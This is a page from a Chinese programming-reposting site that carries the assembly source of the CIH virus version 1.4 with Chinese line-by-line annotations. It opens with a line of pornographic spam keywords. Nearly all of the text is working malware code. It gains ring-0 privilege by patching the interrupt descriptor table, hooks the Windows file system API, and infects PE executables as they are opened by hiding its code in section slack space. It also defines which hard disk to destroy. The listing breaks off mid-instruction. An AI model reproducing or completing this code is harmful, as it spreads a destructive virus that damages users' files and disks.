日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

CIH病毒-邹丹注释

發(fā)布時(shí)間:2024/3/26 编程问答 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CIH病毒-邹丹注释 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
;CIH病毒1.4版本之中文注釋由"鄒丹"編寫(xiě)完成于1999-4-09 ;源程序中的英文注釋未作修改,全部保留 .586P ;586保護(hù)模式匯編 ; **************************************************************************** ; * Original PE Executable File(Don't Modify this Section) * ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: ;編譯連接后的PE格式可執(zhí)行文件文件頭 db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; **************************************************************************** ; * My Virus Game * ; **************************************************************************** ; ********************************************************* ; * Constant Define * ; ********************************************************* TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 ;主版本號(hào) MinorVirusVersion = 4 ;副版本號(hào) VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;合成版本號(hào) IF DEBUG ;是否是調(diào)試用 FirstKillHardDiskNumber = 81h ;殺掉第二個(gè)硬盤(pán)“d:” HookExceptionNumber = 05h ;使用5號(hào)中斷 ELSE FirstKillHardDiskNumber = 80h ;殺掉第一個(gè)硬盤(pán)“c:” HookExceptionNumber = 03h ;使用3號(hào)中斷 ENDIF FileNameBufferSize = 7fh ; ********************************************************* ; ********************************************************* VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ********************************************************* ; * Ring3 Virus Game Initial Program * ; ********************************************************* MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx ;獲取程序起始偏移量? ;用此偏移量+相對(duì)偏移量獲得絕對(duì)地址(病毒程序大量用到) lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address ?;獲得中斷描述符表的基址到ebx pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 ;計(jì)算要用中斷的基址到ebx cli ;在改表項(xiàng)前關(guān)中斷? mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point ?;取得中斷基址到ebp lea esi, MyExceptionHook-@1[ecx] push esi ?;esi為病毒中斷例程地址 mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address;修改中斷基址使指向病毒中斷例程 pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException;以中斷的方式進(jìn)入0級(jí) ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax ;esi指向病毒開(kāi)始處 LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb ;拷貝病毒代碼到分配好的系統(tǒng)內(nèi)存首址 sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 ;拷貝結(jié)束 jmp LoopOfMergeAllVirusCodeSection ;拷貝下一段 QuitLoopOfMergeAllVirusCodeSection: pop esi ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Aga ;再一次進(jìn)入0級(jí) ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti ;開(kāi)中斷 xor ebx, ebx jmp RestoreSE ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; ************************************* StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ;把原程序的開(kāi)始地址壓棧 ret ; Return to Original App Entry Point ;以子程序返回形式返回到原程序的開(kāi)始處 ; ********************************************************* ; * Ring0 Virus Game Initial Program * ; ********************************************************* MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ;如果病毒代碼已拷貝好了 ;轉(zhuǎn)到安裝文件系統(tǒng)鉤子的程序 ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 ;察看dr0是否設(shè)置過(guò)(dr0為病毒駐留標(biāo)志) jecxz AllocateSystemMemoryPage ;沒(méi)有設(shè)置,則分配系統(tǒng)內(nèi)存 add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; ;恢復(fù)原來(lái)的中斷基址 iretd ;中斷返回 ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exist in System ;設(shè)置dr0,它是病毒駐留的標(biāo)志 push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ;調(diào)用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM, ;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,;ULONG flags); push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate;VXD調(diào)用 _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h ;恢復(fù)棧指針 xchg edi, eax ; EDI = SystemMemory Start Address ; EDI指向分配好的系統(tǒng)內(nèi)存首址 lea eax, MyVirusStart-@2[esi] ;eax指向病毒開(kāi)始處 iretd ; Return to Ring3 Initial Program ;退出中斷,回3級(jí)(回到"Merge All Virus Code Section") ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] ;指向文件系統(tǒng)鉤子程序首址 push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags ;在調(diào)用后變?yōu)閏all [IFSMgr_InstallFileSystemApiHook] mov dr0, eax ; Save OldFileSystemApiHook Address ;保存原來(lái)的文件系統(tǒng)鉤子程序首址到dr0(改調(diào)用的返回值是前一個(gè)鏈值) pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] ;edx為IFSMgr_InstallFileSystemApiHook功能的地址 mov OldInstallFileSystemApiHook-@3[eax], edx ?;保存 ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax ?;設(shè)置新的IFSMgr_InstallFileSystemApiHook功能調(diào)用的地址 ;使指向InstallFileSystemApiHook cli jmp ExitRing0Init ?;退出0級(jí)(int 3 or int 5) ; ********************************************************* ; * Code Size of Merge Virus Code Section * ; ********************************************************* CodeSizeOfMergeVirusCodeSection = offset $ ; ********************************************************* ; * IFSMgr_InstallFileSystemApiHook * ; ********************************************************* InstallFileSystemApiHook: ;新的IFSMgr_InstallFileSystemApiHook功能調(diào)用 push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook ;獲得當(dāng)前指令的偏移地址 add ebx, FileSystemApiHook-@4 ;加上偏移的差=FileSystemApiHook的偏移 push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;調(diào)用VXD移去指向FileSystemApiHook的鉤子 IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags ;調(diào)用號(hào) pop eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] ;調(diào)用原來(lái)的IFSMgr_InstallFileSystemApiHook功能設(shè)置鉤子 pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] ;調(diào)用原來(lái)的IFSMgr_InstallFileSystemApiHook功能設(shè)置鉤子 pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address ;調(diào)整原來(lái)的地址 pop eax pop ebx ret ; ********************************************************* ; * Static Data * ; ********************************************************* OldInstallFileSystemApiHook dd ? ;原來(lái)的InstallFileSystemApiHook調(diào)用的地址 ; ********************************************************* ; * IFSMgr_FileSystemHook * ; ********************************************************* ; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; ************************************* FileSystemApiHook: ;安裝好的文件系統(tǒng)鉤子 @3 = FileSystemApiHook pushad ;保存寄存器(20h長(zhǎng)) call @5 ; @5: ; pop esi ; mov esi, offset ;esi為當(dāng)前指令的偏移 add esi, VirusGameDataStartAddress-@5 ;esi為FileSystemApiHook的偏移加上到VirusGameDataStartAddress的偏移之差=VirusGameDataStartAddress的偏移; ************************************* ; * Is OnBusy !? * ; ************************************* test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) ;測(cè)試"忙"標(biāo)志jnz pIFSFunc ; goto pIFSFunc ;"忙"則轉(zhuǎn)到pIFSFunc; ************************************* ; * Is OpenFile !? * ; ************************************* ; if ( NotOpenFile ) ; goto prevhook lea ebx, [esp+20h+04h+04h] ;ebx為FunctionNum的地址 ;文件系統(tǒng)鉤子的調(diào)用格式如下 ;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir);助標(biāo)2 cmp dword ptr [ebx], 00000024h ;測(cè)試此次調(diào)用是否是為了打開(kāi)文件;在DDK的ifs.h中定義的#define IFSFN_OPEN 36 jne prevhook ;不是就跳到前一個(gè)文件鉤子去 ; ************************************* ; * Enable OnBusy * ; ************************************* inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;設(shè)置"忙"標(biāo)志為"忙" ; ************************************* ; * Get FilePath's DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is 'C:'. * ; ************************************* ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer push esi ;保存之 mov al, [ebx+04h] ;ebx+4為int Drive的地址 cmp al, 0ffh ;是否是UNC(universal naming conventions)地址 je CallUniToBCSPath ;是就轉(zhuǎn) add al, 40h mov ah, ':' mov [esi], eax ;處理成"X:"的形式 inc esi inc esi ; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ;把Canonicalized Unicode的字符轉(zhuǎn)換為普通的BCS字符集 ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; ************************************* ;調(diào)用方法 UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)CallUniToBCSPath: push 00000000h ;字符集 push FileNameBufferSize ;字符長(zhǎng)度 mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax ;Uni字符首址 push esi ;BCS字符首址 int 20h ; VXDCall UniToBCSPath ;調(diào)用UniToBCSPath UniToBCSPath = $ dd 00400041h ;調(diào)用id add esp, 04h*04h ; ************************************* ; * Is FileName '.EXE' !? * ; ************************************* ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' ;測(cè)試是否是*.EXE(可執(zhí)行)文件 pop esi jne DisableOnBusy IF DEBUG ; ************************************* ; * Only for Debug * ; ************************************* ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' ;如果是測(cè)試用途則測(cè)試是否是"FUCK.EXE" jne DisableOnBusy ENDIF ; ************************************* ; * Is Open Existing File !? * ; ************************************* ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h ;測(cè)試是否打開(kāi) jne DisableOnBusy ; ************************************* ; * Get Attributes of the File * ; ************************************* mov ax, 4300h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(hào)(R0_FILEATTRIBUTES/GET_ATTRIBUTES) int 20h ; VXDCall IFSMgr_Ring0_FileIO ;調(diào)用IFSMgr_Ring0_FileIO的獲得文件屬性的功能 IFSMgr_Ring0_FileIO = $ dd 00400032h ;調(diào)用號(hào) jc DisableOnBusy ;失敗否? push ecx ; ************************************* ; * Get IFSMgr_Ring0_FileIO Address * ; ************************************* mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ;獲得IFSMgr_Ring0_FileIO調(diào)用的地址 ; ************************************* ; * Is Read-Only File !? * ; ************************************* test cl, 01h jz OpenFile ;測(cè)試是否是只讀文件 ; ************************************* ; * Modify Read-Only File to Write * ; ************************************* mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(hào)(R0_FILEATTRIBUTES/SET_ATTRIBUTES ) xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ;調(diào)用IFSMgr_Ring0_FileIO的改文件屬性功能,使文件可寫(xiě); ************************************* ; * Open File * ; ************************************* OpenFile: xor eax, eax mov ah, 0d5h ;IFSMgr_Ring0_FileIO的打開(kāi)文件功能號(hào)(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)xor ecx, ecx ;文件屬性 xor edx, edx inc edx mov ebx, edx inc ebx ;esi為文件名首址 call edi ; VXDCall IFSMgr_Ring0_FileIO ;調(diào)用IFSMgr_Ring0_FileIO的打開(kāi)文件功能 xchg ebx, eax ; mov ebx, FileHandle ;在ebx中保存文件句柄 ; ************************************* ; * Need to Restore * ; * Attributes of the File !? * ; ************************************* pop ecx pushf test cl, 01h jz IsOpenFileOK ;是否需要恢復(fù)文件屬性(有寫(xiě)屬性就不需要恢復(fù)了) ; ************************************* ; * Restore Attributes of the File * ; ************************************* mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(hào)(R0_FILEATTRIBUTES/SET_ATTRIBUTES) call edi ; VXDCall IFSMgr_Ring0_FileIO ;恢復(fù)文件屬性 ; ************************************* ; * Is Open File OK !? * ; ************************************* IsOpenFileOK: popf jc DisableOnBusy ;打開(kāi)是否成功? ; ************************************* ; * Open File Already Succeed. ^__^ * ; ************************************* push esi ; Push FileNameBuffer Address to Stack ;把文件名數(shù)據(jù)區(qū)首址壓棧 pushf ; Now CF = 0, Push Flag to Stack ;保存標(biāo)志位 add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;esi指向數(shù)據(jù)區(qū)首址 ; *************************** ; * Get OffsetToNewHeader * ; *************************** xor eax, eax mov ah, 0d6h ;IFSMgr_Ring0_FileIO的讀文件功能號(hào)(R0_READFILE) ; For Doing Minimal VirusCode's Length, ; I Save EAX to EBP. mov ebp, eax push 00000004h ;讀取4個(gè)字節(jié) pop ecx push 0000003ch ;讀取dos文件頭偏移3ch處的Windows文件頭首部偏移 pop edx call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀文件到esi mov edx, [esi] ;Windows文件頭首部偏移放到edx ; *************************** ; * Get 'PE\0' Signature * ; * of ImageFileHeader, and * ; * Infected Mark. * ; *************************** dec edx mov eax, ebp ;功能號(hào) call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀文件到esi ; *************************** ; * Is PE !? * ; *************************** ; * Is the File * ; * Already Infected !? * ; *************************** ; * WinZip Self-Extractor * ; * doesn't Have Infected * ; * Mark Because My Virus * ; * doesn't Infect it. * ; *************************** ; cmp [esi], '\0PE\0' cmp dword ptr [esi], 00455000h ;判斷是否是PE文件(標(biāo)志"PE\0\0") jne CloseFile ;不是就關(guān)閉文件 ; ************************************* ; * The File is ^o^ * ; * PE(Portable Executable) indeed. * ; ************************************* ; * The File isn't also Infected. * ; ************************************* ; ************************************* ; * Start to Infect the File * ; ************************************* ; * Registers Use Status Now : * ; * * ; * EAX = 04h * ; * EBX = File Handle * ; * ECX = 04h * ; * EDX = 'PE\0\0' Signature of * ; * ImageFileHeader Pointer's * ; * Former Byte. * ; * ESI = DataBuffer Address ==> @8 * ; * EDI = IFSMgr_Ring0_FileIO Address * ; * EBP = D600h ==> Read Data in File * ; ************************************* ; * Stack Dump : * ; * * ; * ESP => ------------------------- * ; * | EFLAG(CF=0) | * ; * ------------------------- * ; * | FileNameBufferPointer | * ; * ------------------------- * ; * | EDI | * ; * ------------------------- * ; * | ESI | * ; * ------------------------- * ; * | EBP | * ; * ------------------------- * ; * | ESP | * ; * ------------------------- * ; * | EBX | * ; * ------------------------- * ; * | EDX | * ; * ------------------------- * ; * | ECX | * ; * ------------------------- * ; * | EAX | * ; * ------------------------- * ; * | Return Address | * ; * ------------------------- * ; ************************************* push ebx ; Save File Handle ;保存文件句柄 push 00h ; Set VirusCodeSectionTableEndMark ; *************************** ; * Let's Set the * ; * Virus' Infected Mark * ; *************************** push 01h ; Size push edx ; Pointer of File ;edx指向PE文件頭偏移00h push edi ; Address of Buffer ;edi為IFSMgr_Ring0_FileIO的地址(原注釋有誤) ; *************************** ; * Save ESP Register * ; *************************** mov dr1, esp ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Only First Set Size ) * ; *************************** push eax ; Size ; *************************** ; * Let's Read * ; * Image Header in File * ; *************************** mov eax, ebp mov cl, SizeOfImageHeaderToRead ;要讀2個(gè)字節(jié)(WORD NumberOfSections) add edx, 07h ; Move EDX to NumberOfSections ;PE文件頭+07h為NumberOfSections(塊個(gè)數(shù)) call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀出NumberOfSections(塊個(gè)數(shù))到esi ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Set Pointer of File, * ; * Address of Buffer ) * ; *************************** lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Pointer of File lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Address of Buffer ; *************************** ; * Move EDX to the Start * ; * of SectionTable in File * ; *************************** movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ;edx為SectionTable的偏移 ; *************************** ; * Let's Get * ; * Total Size of Sections * ; *************************** mov al, SizeOfScetionTable ;每個(gè)塊表項(xiàng)(ScetionTable)的大小(字節(jié)) ; I Assume NumberOfSections <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl ;每個(gè)塊表項(xiàng)乘以塊個(gè)數(shù)=塊表大小 ; *************************** ; * Let's Set Section Table * ; *************************** ; Move ESI to the Start of SectionTable lea esi, (StartOfSectionTable-@8)[esi] ;esi指向塊表首址(在病毒動(dòng)態(tài)數(shù)據(jù)區(qū)中) push eax ; Size ;塊表大小 push edx ; Pointer of File ;edx為SectionTable的偏移 push esi ; Address of Buffer ; ; *************************** ; * The Code Size of Merge * ; * Virus Code Section and * ; * Total Size of Virus * ; * Code Section Table Must * ; * be Small or Equal the * ; * Unused Space Size of * ; * Following Section Table * ; *************************** inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h ;*8 push ecx ; Save TotalSizeOfVirusCodeSectionTable ;預(yù)留病毒塊表空間 add ecx, eax add ecx, edx ;ecx+文件的正文的偏移 sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ;求補(bǔ) ;ecx為文件頭大小-正文的偏移=未用空間 ; Save My Virus First Section Code ; Size of Following Section Table... ; ( Not Include the Size of Virus Code Section Table ) push ecx xchg ecx, eax ; ECX = Size of Section Table ;ecx為塊表大小 ; Save Original Address of Entry Point mov eax, (AddressOfEntryPoint-@9)[esi] ;入口RVA地址 add eax, (ImageBase-@9)[esi] ;裝入基址 mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存裝入后實(shí)際的入口地址 cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection ;未用空間和病毒第一塊大小比較jl OnlySetInfectedMark ;小于就只設(shè)感染標(biāo)志; *************************** ; * Read All Section Tables * ; *************************** mov eax, ebp ;讀的功能號(hào) call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀塊表到esi(@9處) ; *************************** ; * Full Modify the Bug : * ; * WinZip Self-Extractor * ; * Occurs Error... * ; *************************** ; * So When User Opens * ; * WinZip Self-Extractor, * ; * Virus Doesn't Infect it.* ; *************************** ; * First, Virus Gets the * ; * PointerToRawData in the * ; * Second Section Table, * ; * Reads the Section Data, * ; * and Tests the String of * ; * 'WinZip(R)'...... * ; *************************** xchg eax, ebp push 00000004h pop ecx ;讀4字節(jié) push edx mov edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx] ;edx為第二塊的偏移(.rdata) add edx, 12h ;加10h+2h(10h處為"WinZip....") call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀4字節(jié)到esi ; cmp [esi], 'nZip' cmp dword ptr [esi], 'piZn' ;判斷是否是WinZip自解壓文件 je NotSetInfectedMark ;是就不設(shè)置感染標(biāo)志 pop edx ;edx指向塊表在文件中首址 ; *************************** ; * Let's Set Total Virus * ; * Code Section Table * ; *************************** ; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx ; 未用空間大小 pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, ebp ; ebp為塊表大小 push edx ; Pointer of File ;指向塊表后(第一塊) add ebp, esi ; ebp指向病毒數(shù)據(jù)區(qū)的塊表后(第一塊) push ebp ; Address of Buffer ; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; *************************** lea eax, [ebp+edi-04h] mov [eax], ebx ;設(shè)置病毒代碼第一塊的大小(未用空間大小)到病毒塊表 ; *************************** ; * Let's Set My Virus * ; * First Section Code * ; *************************** push ebx ; Size ;病毒代碼第一塊的大小(未用空間大小) add edx, edi push edx ; Pointer of File ;指向塊表后(第一塊)+Size??=病毒正文(病毒開(kāi)始處) lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer ;指向病毒開(kāi)始處 ; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文) ; *************************** ; * Setup Initial Data * ; *************************** lea edx, [esi-SizeOfScetionTable] ;edx先減一項(xiàng)塊表長(zhǎng)度,以配合下面的"助標(biāo)1"mov ebp, offset VirusSize ;ebp為病毒長(zhǎng)度 jmp StartToWriteCodeToSections ; *************************** ; * Write Code to Sections * ; *************************** LoopOfWriteCodeToSections: add edx, SizeOfScetionTable ;助標(biāo)1: ;指向下一塊表項(xiàng) mov ebx, (SizeOfRawData-@9)[edx] ;ebx為該塊表項(xiàng)的SizeOfRawData(塊大小) sub ebx, (VirtualSize-@9)[edx] ;減去VirtualSize=該塊未用空間 jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx ;寫(xiě)入病毒塊表 mov ebx, (PointerToRawData-@9)[edx] ;ebx為塊的物理(實(shí)際)偏移? add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize push ebx ; Pointer of File ;ebx指向該塊未用空間的文件指針 push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] ;ebx為該塊裝入后的實(shí)際地址 mov [eax+4], ebx ;保存到病毒塊表中 mov ebx, [eax] ;該塊未用空間大小 add (VirtualSize-@9)[edx], ebx ;加到該塊表項(xiàng)的VirtualSize; Section contains initialized data ==> 00000040h ; Section can be Read. ==> 40000000h or (Characteristics-@9)[edx], 40000040h ;改該塊表項(xiàng)的塊屬性(改為可讀,并包含初始化數(shù)據(jù)) StartToWriteCodeToSections: sub ebp, ebx ;病毒大小-病毒塊大小 jbe SetVirusCodeSectionTableEndMark ;如果小于(病毒插入完畢)就設(shè)置病毒塊表結(jié)束符add edi, ebx ; Move Address of Buffer ;指向病毒下一塊 EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; *************************** ; * Only Set Infected Mark * ; *************************** OnlySetInfectedMark: mov esp, dr1 ;只設(shè)置感染標(biāo)志 jmp WriteVirusCodeToFile ;跳到寫(xiě)病毒到要傳染的文件的程序 ; *************************** ; * Not Set Infected Mark * ; *************************** NotSetInfectedMark: add esp, 3ch ;不設(shè)置感染標(biāo)志 jmp CloseFile ;跳到關(guān)文件 ; *************************** ; * Set Virus Code * ; * Section Table End Mark * ; *************************** SetVirusCodeSectionTableEndMark: ; Adjust Size of Virus Section Code to Correct Value add [eax], ebp ;更正病毒塊表的最后一項(xiàng) add [esp+08h], ebp ; Set End Mark xor ebx, ebx mov [eax-04h], ebx ;設(shè)置塊表結(jié)束標(biāo)志 ; *************************** ; * When VirusGame Calls * ; * VxDCall, VMM Modifies * ; * the 'int 20h' and the * ; * 'Service Identifier' * ; * to 'Call [XXXXXXXX]'. * ; *************************** ; * Before Writing My Virus * ; * to File, I Must Restore * ; * them First. ^__^ * ; *************************** lea eax, 